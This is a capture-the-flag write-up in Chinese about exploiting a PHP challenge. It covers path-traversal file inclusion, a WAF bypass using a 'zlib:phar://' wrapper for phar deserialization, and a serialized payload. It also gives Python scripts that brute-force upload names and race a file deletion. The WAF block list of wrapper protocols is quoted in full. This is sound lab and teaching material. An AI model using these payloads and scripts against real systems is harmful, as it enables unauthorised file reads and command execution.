代码审计在mc-admin/page-edit.php中存在任意文件包含漏洞
盲猜file=../../../../../../../flag
去读flag得到提示地址
访问ctfshowsecretfilehh得到源码如下
<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
public $ctfer = 'shower';
public function __destruct(){
system('cp /hint* /var/www/html/hint.txt');
}
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>
我们可以先利用page-edit.php去读下waf.php
file=../../../../../../var/www/html/ctfshowsecretfilehh/waf.php
<?php
function waf($file){
if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
die("姿势太简单啦,来一点骚的?!");
}else{
return $file;
}
}
在此之前的管理员界面存在一个upload.php,并且给的源码没有这个文件,猜测为可以构造的。应该是利用phar进行反序列化来生成hint.txt
上传phar,得到生成的文件名
import requests
import time
import hashlib
def geturl(s):
a=hashlib.md5(str(int(s)).encode()).hexdigest()
return "http://3fe3a94f-f32f-4679-8977-6bff13072fec.chall.ctf.show/upload/"+a[:8]+'.jpg'
#coding:utf-8
while True:
url="http://3fe3a94f-f32f-4679-8977-6bff13072fec.chall.ctf.show/upload.php"
files={'file':('aaa.jpg',
open('aaa.jpg','rb'),
'image/jpeg'
)}
r=requests.post(url,files=files)
#print(r.text)
a=time.time()
r2=requests.get(geturl(a))
r3=requests.get(geturl(a-1))#存在延时多试几个时间
if("我的网站" not in r2.text or "我的网站" not in r3.text):
print(geturl(a))
print(geturl(a-1))
break
else:
time.sleep(0.3)
触发phar可以使用
compress.zlib://phar://
compress.bzip2://phar://
php://filter/resource=phar://
zlib:phar://
phar://
根据waf.php的过滤可知zlib:phar://可以使用。
ctfshowsecretfilehh/?file=zlib:phar:///var/www/html/upload/生成的文件名
hint.txt内容
flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory
访问ctfshowgetflaghhhh得到如下源码
<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
public $username='Firebasky';
public $password;
function __destruct() {
if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
system('cp /ctfshow* /var/www/html/flag.txt');
}
}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');
也就是说反序列化成功后会生成flag.txt,接着又会删除掉,所以可以写一个多线程去读取flag.txt。
因为md5后的时间戳有字母所以(int)md5(time())为0
反序列化+多线程得到flag.txt
import io
import requests
import threading
def write():
while True:
url="http://d50e161f-1226-4322-9f10-d7d0b043ecb5.chall.ctf.show/ctfshowgetflaghhhh"
resp = requests.get(url+'?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}')
def read():
while True:
r=requests.get('http://d50e161f-1226-4322-9f10-d7d0b043ecb5.chall.ctf.show/flag.txt')
if("我的网站" not in r.text):
print(r.text)
print('aaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaa')
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=()).start()
for i in range(1,30):
threading.Thread(target=read,args=()).start()
event.set()